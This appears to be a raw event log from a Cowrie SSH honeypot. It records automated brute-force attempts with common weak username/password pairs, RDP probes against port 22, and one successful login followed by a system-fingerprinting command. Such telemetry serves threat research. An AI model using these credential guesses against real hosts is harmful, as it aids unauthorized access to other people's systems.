{"eventid":"cowrie.login.failed","username":"root","password":"020202","message":"login attempt [root/020202] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:11.069054Z","src_ip":"79.3.96.178","session":"9b7c47a034f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:12.210644Z","src_ip":"79.3.96.178","session":"9b7c47a034f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37902,"dst_ip":"159.203.135.109","dst_port":22,"session":"84f6d64e9538","protocol":"ssh","message":"New connection: 83.168.110.85:37902 (159.203.135.109:22) [session: 84f6d64e9538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:13.146301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:13.151480Z","src_ip":"83.168.110.85","session":"84f6d64e9538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:13.283511Z","src_ip":"83.168.110.85","session":"84f6d64e9538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:13.651036Z","src_ip":"83.168.110.85","session":"84f6d64e9538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:14.775732Z","src_ip":"83.168.110.85","session":"84f6d64e9538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57744,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf53622bc22c","protocol":"ssh","message":"New connection: 83.168.110.85:57744 (159.203.135.109:22) [session: bf53622bc22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:23.716999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:23.722232Z","src_ip":"83.168.110.85","session":"bf53622bc22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:23.843621Z","src_ip":"83.168.110.85","session":"bf53622bc22c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:24.205562Z","src_ip":"83.168.110.85","session":"bf53622bc22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:25.389282Z","src_ip":"83.168.110.85","session":"bf53622bc22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63772,"dst_ip":"159.203.135.109","dst_port":22,"session":"31f7c4699814","protocol":"ssh","message":"New connection: 152.42.212.128:63772 (159.203.135.109:22) [session: 31f7c4699814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:26.182070Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:26.186357Z","src_ip":"152.42.212.128","session":"31f7c4699814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:26.189314Z","src_ip":"152.42.212.128","session":"31f7c4699814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37886,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d8bcc43350","protocol":"ssh","message":"New connection: 83.168.110.85:37886 (159.203.135.109:22) [session: 52d8bcc43350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:34.277864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:34.282729Z","src_ip":"83.168.110.85","session":"52d8bcc43350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:34.408678Z","src_ip":"83.168.110.85","session":"52d8bcc43350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:34.773940Z","src_ip":"83.168.110.85","session":"52d8bcc43350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:35.934916Z","src_ip":"83.168.110.85","session":"52d8bcc43350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33652,"dst_ip":"159.203.135.109","dst_port":22,"session":"94831dbb0f04","protocol":"ssh","message":"New connection: 83.168.110.85:33652 (159.203.135.109:22) [session: 94831dbb0f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:44.778717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:44.783616Z","src_ip":"83.168.110.85","session":"94831dbb0f04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:44.905185Z","src_ip":"83.168.110.85","session":"94831dbb0f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:45.269287Z","src_ip":"83.168.110.85","session":"94831dbb0f04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:46.501549Z","src_ip":"83.168.110.85","session":"94831dbb0f04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51362,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae29e83a6d47","protocol":"ssh","message":"New connection: 167.172.81.52:51362 (10.17.0.5:22) [session: ae29e83a6d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:53.046502Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:53.052500Z","src_ip":"167.172.81.52","session":"ae29e83a6d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:53.056489Z","src_ip":"167.172.81.52","session":"ae29e83a6d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a530f5c4f167","protocol":"ssh","message":"New connection: 83.168.110.85:51586 (159.203.135.109:22) [session: a530f5c4f167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:55.309651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:55.314791Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:55.436983Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:55.807683Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:56.107110Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:56.110957Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:56.237131Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:16:56.244001Z","src_ip":"83.168.110.85","session":"a530f5c4f167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60560,"dst_ip":"159.203.135.109","dst_port":22,"session":"81d04e384262","protocol":"ssh","message":"New connection: 83.168.110.85:60560 (159.203.135.109:22) [session: 81d04e384262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:05.796101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:05.801806Z","src_ip":"83.168.110.85","session":"81d04e384262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:05.924866Z","src_ip":"83.168.110.85","session":"81d04e384262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:06.287736Z","src_ip":"83.168.110.85","session":"81d04e384262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:07.439039Z","src_ip":"83.168.110.85","session":"81d04e384262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60716,"dst_ip":"159.203.135.109","dst_port":22,"session":"d28b95c37d51","protocol":"ssh","message":"New connection: 83.168.110.85:60716 (159.203.135.109:22) [session: d28b95c37d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:16.382907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:16.387443Z","src_ip":"83.168.110.85","session":"d28b95c37d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:16.511512Z","src_ip":"83.168.110.85","session":"d28b95c37d51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:16.878449Z","src_ip":"83.168.110.85","session":"d28b95c37d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:18.046161Z","src_ip":"83.168.110.85","session":"d28b95c37d51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":41956,"dst_ip":"10.17.0.5","dst_port":22,"session":"78977f322739","protocol":"ssh","message":"New connection: 79.3.96.178:41956 (10.17.0.5:22) [session: 78977f322739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:24.325116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:17:24.330010Z","src_ip":"79.3.96.178","session":"78977f322739","protocol":"ssh"}
